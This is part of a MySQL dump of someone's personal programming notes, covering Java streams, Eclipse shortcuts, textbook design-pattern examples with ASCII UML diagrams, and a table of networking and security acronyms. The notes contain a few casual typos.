file.setExecutable(true|false);\n    \'\n    \'\n    pour avoir tout les fichiers et les repertoires dans list\n        String[] list = file.list();\n    \'\n    pour avoir les fichier seulement\n        String[] list = file.listFiles();\n','2015-03-13 22:12:01'),(977,'#java -stream -intro',NULL,NULL,'\nflux n_est pas seulemnt relation entre java et fichier\nil est possible que flux designe \n    java <-> peripherique\n    java <-> fichier\n    java <-> site_distant\n    java <-> emplact memo\n\nles flux se divisent en 5 familles:\n    OutPutStream: sortie, flux_binaire\n    InputStream: entree, flux_binaire\n              v------------------------- on se place au place de java\n    Writer: sortie, flux_texte\n    Reader: entree, flux_texte\n   RandomAccessFile: \n        les fichiers seront considere comme un tableau de bytes\n        tu pourra acceder l_emplct du fichier rapidement\n        tu pourra lire et ecrire \n        \'\n        certains actions ne sont pas possible avec \n            InputStream, OutputStream\n','2015-03-13 22:28:03'),(978,'#eclipse -some-shortcuts -long-list',NULL,NULL,'\n1. Manage Files and Projects\nCtrl+N 	Create new project using the Wizard\nCtrl+Alt+N 	Create new project, file, class, etc.\nAlt+f, then . 	Open project, file, etc.\nCtrl+Shift+R 	Open Ressource (file, folder or project)\nAlt+Enter 	Show and access file properties\nCtrl+S 	Save current file\nCtrl+Shift+S 	Save all files\nCtrl+W 	Close current file\nCtrl+Shift+W 	Close all files\nF5 	Refresh content of selected element with local file system\n\n? up\nminus2. Editor Window\nFocus/ cursor must be in Editor Window for these to work.\nF12 	Jump to Editor Window\nCtrl+Page Down/Ctrl+Page Up 	Switch to next editor / switch to previous editor\nCtrl+M 	Maximize or un-maximize current Editor Window (also works for other Windows)\nCtrl+E 	Show list of open Editors. Use arrow keys and enter to switch\nCtrl+F6/Ctrl+Shift+F6 	Show list of open Editors. Similar to ctrl+e but switches immediately upon release of ctrl\nAlt+Arrow Left/Alt+Arrow Right 	Go to previous / go to next Editor Window\nAlt+- 	Open Editor Window Option menu\nCtrl+F10 	Show view menu (features available on left vertical bar: breakpoints, bookmarks, line numbers, …)\nCtrl+F10, then n 	Show or hide line numbers\nCtrl+Shift+Q 	Show or hide the diff column on the left (indicates changes since last save)\n\n? up\nminus3. Navigate in Editor\nHome/End 	Jump to beginning / jump to end of indention. Press home twice to jump to beginning of line\nCtrl+Home/End 	Jump to beginning / jump to end of source\nCtrl+Arrow Right/Arrow Left 	Jump one word to the left / one word to the right\nCtrl+Shift+Arrow Down/Arrow Up 	Jump to previous / jump to next method\nCtrl+L 	Jump to Line Number. To hide/show line numbers, press ctrl+F10 and select \'Show Line Numbers\'\nCtrl+Q 	Jump to last location edited\nCtrl+./Ctrl+, 	Jump to next / jump to previous compiler syntax warning or error\nCtrl+Shift+P 	With a bracket selected: jump to the matching closing or opening bracket\nCtrl+[+]/Ctrl+- on numeric keyboard 	Collapse / Expand current method or class\nCtrl+[/]/Ctrl+* on numeric keyboard 	Collapse / Expand all methods or classes\nCtrl+Arrow Down/Ctrl+Arrow Up 	Scroll Editor without changing cursor position\nAlt+Page Up/Alt+Page Down 	Next Sub-Tab / Previous Sub-Tab\n\n? up\nminus4. Select Text\nShift+Arrow Right/Arrow Left 	Expand selection by one character to the left / to the right\nCtrl+Shift+Arrow Right/Arrow Left 	Expand selection to next / previous word\nShift+Arrow Down/Arrow Up 	Expand selection by one line down / one line up\nShift+End/Home 	Expand selection to end / to beginning of line\nCtrl+A 	Select all\nAlt+Shift+Arrow Up 	Expand selection to current element (e.g. current one-line expression or content within brackets)\nAlt+Shift+Arrow Left/Arrow Right 	Expand selection to next / previous element\nAlt+Shift+Arrow Down 	Reduce previously expanded selection by one step\n\n? up\nminus5. Edit Text\nCtrl+C/Ctrl+X/Ctrl+V 	Cut, copy and paste\nCtrl+Z 	Undo last action\nCtrl+Y 	Redo last (undone) action\nCtrl+D 	Delete Line\nAlt+Arrow Up/Arrow Down 	Move current line or selection up or down\nCtrl+Alt+Arrow Up/Ctrl+Alt+Arrow Down/ 	Duplicate current line or selection up or down\nCtrl+Delete 	Delete next word\nCtrl+Backspace 	Delete previous word\nShift+Enter 	Enter line below current line\nShift+Ctrl+Enter 	Enter line above current line\nInsert 	Switch between insert and overwrite mode\nShift+Ctrl+Y 	Change selection to all lower case\nShift+Ctrl+X 	Change selection to all upper case\n\n? up\nminus6. Search and Replace\nCtrl+F 	Open find and replace dialog\nCtrl+K/Ctrl+Shift+K 	Find previous / find next occurrence of search term (close find window first)\nCtrl+H 	Search Workspace (Java Search, Task Search, and File Search)\nCtrl+J/Ctrl+Shift+J 	Incremental search forward / backwards. Type search term after pressing ctrl+j, there is now search window\nCtrl+Shift+O 	Open a resource search dialog to find any class\n\n? up\nminus7. Indentions and Comments\nTab/Shift+Tab 	Increase / decrease indent of selected text\nCtrl+I 	Correct indention of selected text or of current line\nCtrl+Shift+F 	Autoformat all code in Editor using code formatter\nCtrl+/ 	Comment / uncomment line or selection ( adds \'//\' )\nCtrl+Shift+/ 	Add Block Comment around selection ( adds \'/... */\' )\nCtrl+Shift+\\ 	Remove Block Comment\nAlt+Shift+J 	Add Element Comment ( adds \'/** ... */\')\n\n? up\nminus8. Editing Source Code\nCtrl+Space 	Opens Content Assist (e.g. show available methods or field names)\nCtrl+1 	Open Quick Fix and Quick Assist\nAlt+/ 	Propose word completion (after typing at least one letter). Repeatedly press alt+/ until reaching correct name\nCtrl+Shift+Insert 	Deactivate or activate Smart Insert Mode (automatic indention, automatic brackets, etc.)\n\n? up\nminus9. Code Information\nCtrl+O 	Show code outline / structure\nF2 	Open class, method, or variable information (tooltip text)\nF3 	Open Declaration: Jump to Declaration of selected class, method, or parameter\nF4 	Open Type Hierarchy window for selected item\nCtrl+T 	Show / open Quick Type Hierarchy for selected item\nCtrl+Shift+T 	Open Type in Hierarchy\nCtrl+Alt+H 	Open Call Hierarchy\nCtrl+U 	Find occurrences of expression in current file\nCtrl+move over method 	Open Declaration or Implementation\n\n? up\nminus10. Refactoring\nAlt+Shift+R 	Rename selected element and all references\nAlt+Shift+V 	Move selected element to other class or file (With complete method or class selected)\nCtrl+Shift+C 	Change method signature (with method name selected)\nAlt+Shift+M 	Extract selection to method\nAlt+Shift+L 	Extract local variable: Create and assigns a variable from a selected expression\nAlt+Shift+I 	Inline selected local variables, methods, or constants if possible (replaces variable with its declarations/ assignment and puts it directly into the statements)\n\n? up\nminus11. Run and Debug\nCtrl+F11 	Save and launch application (run)\nF11 	Debug\nF5 	Step Into function\nF6 	Next step (line by line)\nF7 	Step out\nF8 	Skip to next Breakpoint\n\n? up\nminus12. The Rest\nCtrl+F7/Ctrl+Shift+F7 	Switch forward / backward between views (panels). Useful for switching back and forth between Package Explorer and Editor.\nCtrl+F8/Ctrl+Shift+F8 	Switch forward / backward between perspectives\nCtrl+P 	Print\nF1 	Open Eclipse Help\n','2015-03-13 23:21:03'),(979,'#dp -singleton',NULL,NULL,'\n\n                    +------------------------+\n                    |  SingletonPatternDemo  |\n                    +------------------------+\n                    +------------------------+\n                    |       main():void      | \n                    |                        | \n                    +--------------+---------+  \n                                   +--------returns-----------+\n                            asks   |                          |\n                                   v                          |\n                      +------------+-------------------+      |\n                      |SingleObject                    |      |\n                      +--------------------------------+      |\n                      |    -instance:SingleObject      |      |\n                      +--------------------------------+------+\n                      |    -SingleObject()             |\n                      |    +getInstance():SingleObject |\n                      |    +showMessage(): void        |\n                      +--------------------------------+\n\nthe Singleton_class\n==============================\npublic class SingleIbject{\n\n    //create an object of SingleObject\n    private static SingleObect instance = new SingleObject();\n\n    //make the constructor private so that this class cannot be instantiated\n    private SingleObject(){\n        ...\n    }\n\n    //Get the only object available\n    public static SingleObject getInstance() {\n        ...\n    }\n\n    public void showMessage() {\n        System.out.println(\"Hello World\");\n    }\n}\n\n\n\nThe only object from the singleton class\n============================================\npublic class SingletonPatternDemo {\n   public static void main(String[] args) {\n\n      //illegal construct\n      //Compile Time Error: The constructor SingleObject() is not visible\n      //SingleObject object = new SingleObject();\n\n      //Get the only object available\n      SingleObject object = SingleObject.getInstance();\n\n      //show the message\n      object.showMessage();\n   }\n}\n\n\noutput:\n============================================\nHello World\n','2015-03-14 12:59:42'),(980,'#dp -factory-pattern',NULL,NULL,'\n+-------------------------------------------------------------+\n |          +----------------+                                 |\n |          |<<interface>>   |                                 |             +------------------+\n |          |  Shape         |                                 |             |FactoryPattDemo   |\n |          +----------------+                                 |             +------------------+\n |          +----------------+                                 |             |   main(): void   |\n |          |    draw(): void|                                 |             |                  |\n |          +---------+------+                                 |             +----------+-------+\n |                    ^                                        |                        |\n |                    | implements                             |                        |\n |                    |                                        |                  asks  |\n |                    |                                        |                        |\n |         +--impl----+-------+----implements-------+          |                        |\n |         |                  |                     |          |                        v\n |+--------+--------+  +------+-------+    +--------+--------+ |              +---------+---------------+\n || Circle          |  |Square        |    | Rectangle       | |              | ShapeFactory            |\n |+-----------------+  +--------------+    +-----------------+ |<<<-----------+-------------------------+\n ||    draw(): void |  |  draw(): void|    |    draw(): void | |    creates   +-------------------------+\n |+-----------------+  +--------------+    +-----------------+ |              |     getShape(): Shape   |\n +-------------------------------------------------------------+              +-------------------------+\n\n\n\nCreate an interface.\n================================================================================\npublic interface Shape {\n   void draw();\n}\n\n\nCreate concrete classes implementing the same interface.\n================================================================================\npublic class Rectangle implements Shape {\n\n   @Override\n   public void draw() {\n      System.out.println(\"Inside Rectangle::draw() method.\");\n   }\n}\n\ndo the same for \n    public class Square implements Shape{}\n    class Circle{}\n\n\nCreate a Factory to generate object of concrete class based on given information.\n================================================================================\npublic class ShapeFactory {\n    \n   //use getShape method to get object of type shape \n   public Shape getShape(String shapeType){\n      if(shapeType == null){\n         return null;\n      }     \n      if(shapeType.equalsIgnoreCase(\"CIRCLE\")){\n         return new Circle();\n         \n      } else if(shapeType.equalsIgnoreCase(\"RECTANGLE\")){\n         return new Rectangle();\n         \n      } else if(shapeType.equalsIgnoreCase(\"SQUARE\")){\n         return new Square();\n      }\n      \n      return null;\n   }\n}\n\n\nthe method main in FactoryPatternDemo\n================================================================================\npublic class FactoryPatternDemo {\n\n   public static void main(String[] args) {\n      ShapeFactory shapeFactory = new ShapeFactory();\n\n      //get an object of Circle and call its draw method.\n      Shape shape1 = shapeFactory.getShape(\"CIRCLE\");\n\n      //call draw method of Circle\n      shape1.draw();\n\n      //get an object of Rectangle and call its draw method.\n      Shape shape2 = shapeFactory.getShape(\"RECTANGLE\");\n\n      //call draw method of Rectangle\n      shape2.draw();\n\n      //get an object of Square and call its draw method.\n      Shape shape3 = shapeFactory.getShape(\"SQUARE\");\n\n      //call draw method of circle\n      shape3.draw();\n   }\n}\n\n\n\noutput:\n=======================================\nInside Circle::draw() method.\nInside Rectangle::draw() method.\nInside Square::draw() method.\n','2015-03-14 14:43:06'),(981,'#dp -builder-pattern',NULL,NULL,'\n\n             +-----------------------+           +-------------------------+          +------------------------------+\n             | Item                  |           |Meal                     |          |  MealBuilder                 |\n             +-----------------------+           |-------------------------+<---------+------------------------------+\n             |                       |<<<--------|   items: ArrayList<item>|  builds  |      prepareVegMeal(): Meal  |\n             |    name(): string     |   uses    |                         |          |      prepareNonVegMeal: Meal |\n             |    packing(): Packing |           |   addItem(Item): void   |          +---------------------+--------+\n             |    price(): float     |           |   getCost(): float      |                                ^\n             |                       |           |   showItems(): void     |                                |asks\n             +--+--------------------+           +-------------------------+                           +----+----------------+\n                ^                                                                                      | Demo                |\n                +------------implements--------------------------------------------------+             +---------------------+\n                |                               +-----------+                            |             |    main(): void     |\n                |implements                     |  Packing  |    implements              |             |                     |\n                |                               +-----------+ <<----+                    |             +---------------------+\n                |                               +-----------+       |                    |\n                |                                   +---------------++                   |\n            +---+----+                    +---------+                +--------+          +-----------+\n            | Burger +-----uses---------->+ Wrapper |                | Bottle |<<--------+ ColdDrink |\n            +--------+                    +---------+                +--------+   uses   +-----------+\n            +--------+                    +---------+                +--------+          +-----------+\n                 ^  extends                                                                     ^\n              +--+----+                                                                         |\n    +---------+       +---------------+                                         +-------+-------+---------+------+\n    |VegBurger|       | ChickenBurger |                                         | Pepsi |    extend       | Coke |\n    +---------+       +---------------+                                         +-------+                 +------+\n    +---------+       +---------------+                                         +-------+                 +------+\n\nCreate an interface Item representing food item and packing.\n================================================================================\npublic interface Item {\n   public String name();\n   public Packing packing();\n   public float price();    \n}\n\npublic interface Packing {\n   public String pack();\n}\n\nCreate concrete classes implementing the Packing interface.\n================================================================================\npublic class Wrapper implements Packing {\n   @Override\n   public String pack() {\n      return \"Wrapper\";\n   }\n}\n\nclass Bottle implements Packing {\n   @Override\n   public String pack() {\n      return \"Bottle\";\n   }\n}\n\nCreate abstract classes implementing the item interface providing default functionalities.\n================================================================================\npublic abstract class Burger implements Item {\n\n   @Override\n   public Packing packing() {\n      return new Wrapper();\n   }\n\n   @Override\n   public abstract float price();\n}\n\npublic abstract class ColdDrink implements Item {\n    @Override\n    public Packing packing() {\n       return new Bottle();\n    }\n\n    @Override\n    public abstract float price();\n}\n\nCreate concrete classes extending Burger and ColdDrink classes\n================================================================================\npublic class VegBurger extends Burger {\n\n   @Override\n   public float price() {\n      return 25.0f;\n   }\n\n   @Override\n   public String name() {\n      return \"Veg Burger\";\n   }\n}\n\npublic class ChickenBurger extends Burger {\n\n   @Override\n   public float price() {\n      return 50.5f;\n   }\n\n   @Override\n   public String name() {\n      return \"Chicken Burger\";\n   }\n}\n\npublic class Coke extends ColdDrink {\n\n   @Override\n   public float price() {\n      return 30.0f;\n   }\n\n   @Override\n   public String name() {\n      return \"Coke\";\n   }\n}\n\npublic class Pepsi extends ColdDrink {\n\n   @Override\n   public float price() {\n      return 35.0f;\n   }\n\n   @Override\n   public String name() {\n      return \"Pepsi\";\n   }\n}\n\nCreate a Meal class having Item objects defined above.\n================================================================================\nimport java.util.ArrayList;\nimport java.util.List;\n\npublic class Meal {\n   private List<Item> items = new ArrayList<Item>();    \n\n   public void addItem(Item item){\n      items.add(item);\n   }\n\n   public float getCost(){\n      float cost = 0.0f;\n      \n      for (Item item : items) {\n         cost += item.price();\n      }     \n      return cost;\n   }\n\n   public void showItems(){\n   \n      for (Item item : items) {\n         System.out.print(\"Item : \" + item.name());\n         System.out.print(\", Packing : \" + item.packing().pack());\n         System.out.println(\", Price : \" + item.price());\n      }     \n   }    \n}\n\nCreate a MealBuilder class, the actual builder class responsible to create Meal objects.\n================================================================================\npublic class MealBuilder {\n\n   public Meal prepareVegMeal (){\n      Meal meal = new Meal();\n      meal.addItem(new VegBurger());\n      meal.addItem(new Coke());\n      return meal;\n   }   \n\n   public Meal prepareNonVegMeal (){\n      Meal meal = new Meal();\n      meal.addItem(new ChickenBurger());\n      meal.addItem(new Pepsi());\n      return meal;\n   }\n}\n\nthe meth main():\n================================================================================\npublic class BuilderPatternDemo {\n   public static void main(String[] args) {\n   \n      MealBuilder mealBuilder = new MealBuilder();\n\n      Meal vegMeal = mealBuilder.prepareVegMeal();\n      System.out.println(\"Veg Meal\");\n      vegMeal.showItems();\n      System.out.println(\"Total Cost: \" + vegMeal.getCost());\n\n      Meal nonVegMeal = mealBuilder.prepareNonVegMeal();\n      System.out.println(\"\\n\\nNon-Veg Meal\");\n      nonVegMeal.showItems();\n      System.out.println(\"Total Cost: \" + nonVegMeal.getCost());\n   }\n}\n\n\noutput:\n================================================================================\nVeg Meal\nItem : Veg Burger, Packing : Wrapper, Price : 25.0\nItem : Coke, Packing : Bottle, Price : 30.0\nTotal Cost: 55.0\n\n\nNon-Veg Meal\nItem : Chicken Burger, Packing : Wrapper, Price : 50.5\nItem : Pepsi, Packing : Bottle, Price : 35.0\nTotal Cost: 85.5\n','2015-03-14 13:34:04'),(982,'#dp -abstract-factory-pattern',NULL,NULL,'\n               +----------------------+         +-------------------------------+      +------------+\n               |  AbstractFactory     |         | FactoryProducer               |      |metMain()   |\n               +----------------------+<--------+-------------------------------+      |            |\n               |     getShape(): Shape|  uses   |  getFactory(): AbstractFactory|<-----+------------+\n               |     getColor(): Colr |         +-------------------------------+ uses\n               +----------------------+\n                    extends ^\n                            +-----------------extends-----------------------+\n                            |                                               |\n                 +---------------------+                         +----------+----------+\n                 |ShapeFactory         |                         | ColorFactory        |\n                 +---------------------+                         +---------------------+\n                 |    getShape(): Shape|                         |    getColor(): Color|\n                 |                     |                         +-------+-------------+\n                 +----------+----------+                                 |\n                            |                                            |creates\n                            |creates                                     |\n                            v                                            v\n    +-----------------------+-----------------------+        +-----------+-----------------------------+\n    |                +------+-------+               |        |   +-------+----------+                  |\n    |                |Shape         | <<interf>>    |        |   | Color <<interf>> |                  |\n    |                +--------------+               |        |   +------------------+                  |\n    |                |  draw(): void|               |        |   |     fill(): void |                  |\n    |                +-----+--------+               |        |   +--------------+---+                  |\n    |                      ^                        |        |                  ^                      |\n    |                      |implements              |        |           implem |                      |\n    |                      |                        |        |   +--------------+--------------+       |\n    |       +--------------+----------------+       |        |   |              |              |       |\n    |    +--+---+       +--+---+       +----+-----+ |        | +-+-+          +-+---+        +-+----+  |\n    |    |Circle|       |Square|       | Rectangle| |        | |Red|          |Green|        | Blue |  |\n    |    +------+       +------+       +----------+ |        | +---+          +-----+        +------+  |\n    |    +------+       +------+       +----------+ |        | +---+          +-----+        +------+  |\n    +-----------------------------------------------+        +-----------------------------------------+\n\n\n\n\n\nCreate an interface for Shapes.\n================================================================================\npublic interface Shape {\n   void draw();\n}\n\n\n\nCreate concrete classes implementing the same interface.\n================================================================================\npublic class Rectangle implements Shape {\n\n   @Override\n   public void draw() {\n      System.out.println(\"Inside Rectangle::draw() method.\");\n   }\n}\n\npublic class Square implements Shape {\n\n   @Override\n   public void draw() {\n      System.out.println(\"Inside Square::draw() method.\");\n   }\n}\n\ndo the same for Circle\n\nCreate an interface for Colors.\n================================================================================\npublic interface Color {\n   void fill();\n}\n\nCreate concrete classes implementing the same interface.\n================================================================================\npublic class Red implements Color {\n\n   @Override\n   public void fill() {\n      System.out.println(\"Inside Red::fill() method.\");\n   }\n}\n\ndo the same for Green\n    Blue\n    \n\n\nCreate an Abstract class to get factories for Color and Shape Objects.\n================================================================================\npublic abstract class AbstractFactory {\n   abstract Color getColor(String color);\n   abstract Shape getShape(String shape) ;\n}\n\nCreate Factory classes extending AbstractFactory to generate object of concrete class based on given information.\n================================================================================\npublic class ShapeFactory extends AbstractFactory {\n    \n   @Override\n   public Shape getShape(String shapeType){\n   \n      if(shapeType == null){\n         return null;\n      }     \n      \n      if(shapeType.equalsIgnoreCase(\"CIRCLE\")){\n         return new Circle();\n         \n      }else if(shapeType.equalsIgnoreCase(\"RECTANGLE\")){\n         return new Rectangle();\n         \n      }else if(shapeType.equalsIgnoreCase(\"SQUARE\")){\n         return new Square();\n      }\n      \n      return null;\n   }\n   \n   @Override\n   Color getColor(String color) {\n      return null;\n   }\n}\n\n\npublic class ColorFactory extends AbstractFactory {\n    \n   @Override\n   public Shape getShape(String shapeType){\n      return null;\n   }\n   \n   @Override\n   Color getColor(String color) {\n   \n      if(color == null){\n         return null;\n      }     \n      \n      if(color.equalsIgnoreCase(\"RED\")){\n         return new Red();\n         \n      }else if(color.equalsIgnoreCase(\"GREEN\")){\n         return new Green();\n         \n      }else if(color.equalsIgnoreCase(\"BLUE\")){\n         return new Blue();\n      }\n      \n      return null;\n   }\n}\n\nCreate a Factory generator/producer class to get factories by passing an information such as Shape or Color\n================================================================================\npublic class FactoryProducer {\n   public static AbstractFactory getFactory(String choice){\n   \n      if(choice.equalsIgnoreCase(\"SHAPE\")){\n         return new ShapeFactory();\n         \n      }else if(choice.equalsIgnoreCase(\"COLOR\")){\n         return new ColorFactory();\n      }\n      \n      return null;\n   }\n}\n\nthe meth main():\nUse the FactoryProducer to get AbstractFactory in order to get factories of concrete classes by passing an information such as type.\n================================================================================\npublic class AbstractFactoryPatternDemo {\n   public static void main(String[] args) {\n\n      //get shape factory\n      AbstractFactory shapeFactory = FactoryProducer.getFactory(\"SHAPE\");\n\n      //get an object of Shape Circle\n      Shape shape1 = shapeFactory.getShape(\"CIRCLE\");\n\n      //call draw method of Shape Circle\n      shape1.draw();\n\n      //get an object of Shape Rectangle\n      Shape shape2 = shapeFactory.getShape(\"RECTANGLE\");\n\n      //call draw method of Shape Rectangle\n      shape2.draw();\n      \n      //get an object of Shape Square \n      Shape shape3 = shapeFactory.getShape(\"SQUARE\");\n\n      //call draw method of Shape Square\n      shape3.draw();\n\n      //get color factory\n      AbstractFactory colorFactory = FactoryProducer.getFactory(\"COLOR\");\n\n      //get an object of Color Red\n      Color color1 = colorFactory.getColor(\"RED\");\n\n      //call fill method of Red\n      color1.fill();\n\n      //get an object of Color Green\n      Color color2 = colorFactory.getColor(\"Green\");\n\n      //call fill method of Green\n      color2.fill();\n\n      //get an object of Color Blue\n      Color color3 = colorFactory.getColor(\"BLUE\");\n\n      //call fill method of Color Blue\n      color3.fill();\n   }\n}\n','2015-03-14 13:53:45'),(983,'#dp -prototype-factory',NULL,NULL,'\n       +---------------------------------------------------------------------+\n       |                         +-----------------------+                   |\n       |                         |Shape                  |                   |\n       |                         +-----------------------+                   |             +----------------+\n       |                         |  id: String           |                   |             | Demo           |\n       |                         |  type: String         |                   |             +----------------+\n       |                         +-----------------------+                   |             |   main(): void |\n       |                         |  getType(): void      |                   |             +--------+-------+\n       |                         |  getId(): String      |                   |                      |\n       |                         |  setId(String): void  |                   |                      |\n       |                         |  clone(): Object      |                   |                 asks |\n       |                         +----+------------------+                   |                      |\n       |                              ^                                      |                      |\n       |                              |                                      |                      v\n       |                              | extends                              |             +---------------------+\n       |         +--------------------+-----------------------+              |             | ShapeCache          |\n       | +-------+-------+    +-------+------+       +--------+-----------+  |             +---------------------+\n       | |Circle         |    |Rectangle     |       | Square             |  |             |    shapeMap: HashMap|\n       | +---------------+    +--------------+       +--------------------+  | <-----------+---------------------+\n       | |   type:String |    |  type:String |       |   type: String     |  |    clones   |    getShape(): Shape|\n       | +---------------+    +--------------+       +--------------------+  |             |    loadCache(): void|\n       | |   the_same_as_|    |  the_same_as_|       |   getType(): String|  |             +---------------------+\n       | |   _square     |    |  _square     |       |   getId(): String  |  |\n       | +---------------+    +--------------+       |   setId(): void    |  |\n       |                                             |   clone(): Object  |  |\n       |                                             +--------------------+  |\n       +---------------------------------------------------------------------+\n\nCreate an abstract class implementing Clonable interface.\n================================================================================\npublic abstract class Shape implements Cloneable {\n   \n   private String id;\n   protected String type;\n   \n   abstract void draw();\n   \n   public String getType(){\n      return type;\n   }\n   \n   public String getId() {\n      return id;\n   }\n   \n   public void setId(String id) {\n      this.id = id;\n   }\n   \n   public Object clone() {\n      Object clone = null;\n      \n      try {\n         clone = super.clone();\n         \n      } catch (CloneNotSupportedException e) {\n         e.printStackTrace();\n      }\n      \n      return clone;\n   }\n}\n\n\n\nCreate concrete classes extending the above class.\n================================================================================\npublic class Rectangle extends Shape {\n\n   public Rectangle(){\n     type = \"Rectangle\";\n   }\n\n   @Override\n   public void draw() {\n      System.out.println(\"Inside Rectangle::draw() method.\");\n   }\n}\n\n\ndo the same for Square\n    Circle\n\n\nCreate a class to get concrete classes from database and store them in a Hashtable.\n================================================================================\nimport java.util.Hashtable;\n\npublic class ShapeCache {\n    \n   private static Hashtable<String, Shape> shapeMap  = new Hashtable<String, Shape>();\n\n   public static Shape getShape(String shapeId) {\n      Shape cachedShape = shapeMap.get(shapeId);\n      return (Shape) cachedShape.clone();\n   }\n\n   // for each shape run database query and create shape\n   // shapeMap.put(shapeKey, shape);\n   // for example, we are adding three shapes\n   \n   public static void loadCache() {\n      Circle circle = new Circle();\n      circle.setId(\"1\");\n      shapeMap.put(circle.getId(),circle);\n\n      Square square = new Square();\n      square.setId(\"2\");\n      shapeMap.put(square.getId(),square);\n\n      Rectangle rectangle = new Rectangle();\n      rectangle.setId(\"3\");\n      shapeMap.put(rectangle.getId(), rectangle);\n   }\n}\n\n\nDemo\n================================================================================\npublic class PrototypePatternDemo {\n   public static void main(String[] args) {\n      ShapeCache.loadCache();\n\n      Shape clonedShape = (Shape) ShapeCache.getShape(\"1\");\n      System.out.println(\"Shape : \" + clonedShape.getType());       \n\n      Shape clonedShape2 = (Shape) ShapeCache.getShape(\"2\");\n      System.out.println(\"Shape : \" + clonedShape2.getType());      \n\n      Shape clonedShape3 = (Shape) ShapeCache.getShape(\"3\");\n      System.out.println(\"Shape : \" + clonedShape3.getType());      \n   }\n}\n\noutput:\n================================================================================\nShape : Circle\nShape : Square\nShape : Rectangle\n','2015-03-14 14:06:21'),(984,'#java -jdialog',NULL,NULL,'\nmust be contained inside a jframe00\n    but u can do that jframe00 is not really well defined\n    jframe00 will the parent\n\nlooks like jdialog must be a container of a jpanel\n    if u want to add sth in the jdialog\n\nclass extJdialog {    +-----------------------a frame which contain the jdialog\n               vv-----+\n    constr(jframe00, title00, msg00){\n        super(jframe00, title00, true);\n                                  ^^---- tell that the user can interact with parent_frame\n                                        true so the user can not interact with\n                                        false then the user can interact with the parent-frame\n        jpanel00;\n        label00;\n        jpanel00.add(label00);\n        getCont().add(jpanel00);\n\n        // if u want to add button\n        //  it is better that u do it inside an another jpanel\n        jpanel01.add(button01);\n        getCont().add(jpanel01, BorderLayout.SOUTH);\n\n        pack(); // don_t yet the meaning of this\n        setVisible(true);\n    }\n}\n','2015-03-14 19:25:19'),(986,'#uml -behavioural -tutopoint',NULL,NULL,'\nsequence diagram\ncollaborative diagram\n','2015-03-14 21:20:12'),(987,'#eclipse -history',NULL,NULL,'\nCallisto    30 June 2006\nEuropa  29 June 2007    \nGanymede    25 June 2008\nGalileo     24 June 2009\nHelios  23 June 2010        \nIndigo  22 June 2011        \nJuno    27 June 2012    \n\n[Notes 1]\nJuno projects[24]   \nKepler  26 June 2013        \nLuna    25 June 2014    Integrated Java 8 support (in the previous version this was possible via a \"Java 8 patch\" plugin)\nMars    24 June 2015 (planned)  4.5     Mars projects[27]   \n','2015-03-14 21:21:52');
 /*!40000 ALTER TABLE `notes_tech` ENABLE KEYS */;
 UNLOCK TABLES;
 

/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;

-- Dump completed on 2015-03-12 18:38:44


LOCK TABLES `abbr` WRITE;
/*!40000 ALTER TABLE `abbr` DISABLE KEYS */;
INSERT INTO `abbr` VALUES (1,'darpa','defense advanced research projects agency','it_s succeeded _arpa_'),(2,'cia','central intelligence agency',NULL),(3,'ispm','institut superieur de madagascar',NULL),(4,'tcp','transfet control protocol',NULL),(5,'ip','internet protocol','in netw layer of tcp_ip'),(6,'voip','voice over ip',NULL),(7,'dhcp','dynamic host configuration protocol','in netw layer of tcp_ip'),(8,'etp','english teaching program',NULL),(9,'usa','united states of america',NULL),(10,'htb','hit the book',NULL),(11,'icmp','internet control message protocol','in netw layer of tcp_ip'),(12,'rip','routing information protocol','in netw layer of tcp_ip'),(14,'udp','user datagram protocol','in transp layer of tcp_ip'),(15,'tali','transport adapter layer interface','in transp layer of tcp_ip'),(16,'van jacobson','commpressed tcp','in transp layer of tcp_ip'),(17,'xot','x.25 over tcp','in transp layer of tcp_ip'),(18,'dns','domain name service','in session layer of tcp_ip'),(19,'ldap','lightweight directory access protocol','in session layer of tcp_ip'),(20,'cops','common open policy service','in application layer of tcp_ip'),(21,'ftp','file transfert protocol','in application layer of tcp_ip'),(22,'ftp','internet message access protocol','in application layer of tcp_ip'),(23,'irc','internet relay chat','in application layer of tcp_ip'),(24,'ntp','network time protocol','in application layer of tcp_ip'),(25,'pop3','post office protocol version3','in application layer of tcp_ip'),(26,'radius','remote authentification dial in user service','in application layer of tcp_ip'),(27,'rlogin','remote login','in application layer of tcp_ip'),(28,'rtsp','real time streaming protocol','in application layer of tcp_ip'),(29,'s-http','secure hypertext transfert protocol','in application layer of tcp_ip'),(30,'http','hypertext transfert protocol','in application layer of tcp_ip'),(31,'smtp','simple mail tranfert protocol','in application layer of tcp_ip'),(32,'snmp','simple network management protocol','in application layer of tcp_ip'),(33,'socks','socket secure','in application layer of tcp_ip'),(34,'tacacs+','terminal access controller access control system','in application layer of tcp_ip'),(35,'telnet','tcp_ip terminal emulation protocol','in application layer of tcp_ip'),(36,'tftp','trivial ftp','in application layer of tcp_ip'),(37,'egp','exterior gateway protocol','routing protocol'),(38,'bgp-4','border gateway protocol','routing protocol'),(39,'eigrp','enhanced interiorgateway routing protocol','routing protocol'),(40,'hsrp','cisco hot standby router protocol','routing protocol'),(41,'igrp','interior gateway routing protocol','routing protocol'),(42,'narp','nbma address resolution protocol','routing protocol'),(43,'nhrp','next hop resolution protocol','routing protocol'),(44,'ospf','open shortest path protocol','routing protocol'),(45,'trip','telephony routing over ip','routing protocol'),(46,'atmp','ascend tunnel management protocol','tunneling protocol'),(47,'l2f','layer 2 tunneling protocol','tunneling protocol'),(48,'pptp','point to point tunneling protocol','tunneling protocol'),(49,'ah','authentification header','security protocol'),(50,'esp','encapsulating security payload','security protocol'),(234,'afp','Advanced Function Presentation',NULL),(52,'api',NULL,NULL),(53,'sql','structured query langage',NULL),(54,'ips','intrusion prevention system',NULL),(55,'ids','intrusion detection system',NULL),(56,'lol','lots of love\nlots of laugh',NULL),(57,'set','social engineering toolkit',NULL),(58,'ptes','penetration testing execution standard',NULL),(59,'msf','metasploit framework',NULL),(60,'nc','netcat',NULL),(61,'gmt','greenwich mean time',NULL),(62,'utc','universal time coordinated',NULL),(63,'fb','facebook',NULL),(64,'hvm','hery vaovao ho an\ny malagasy',NULL),(65,'cissp','Certified Information Systems Security Professional ',NULL),(66,'hfc','hackers for charity',NULL),(67,'tsa','Technology Student Association',NULL),(68,'fhs','Filesystem Hierarchy Standard',NULL),(69,'rfid','Radio Frequency Identification',NULL),(70,'ids','intrusion detection sys',NULL),(71,'ips','intrusion prevention 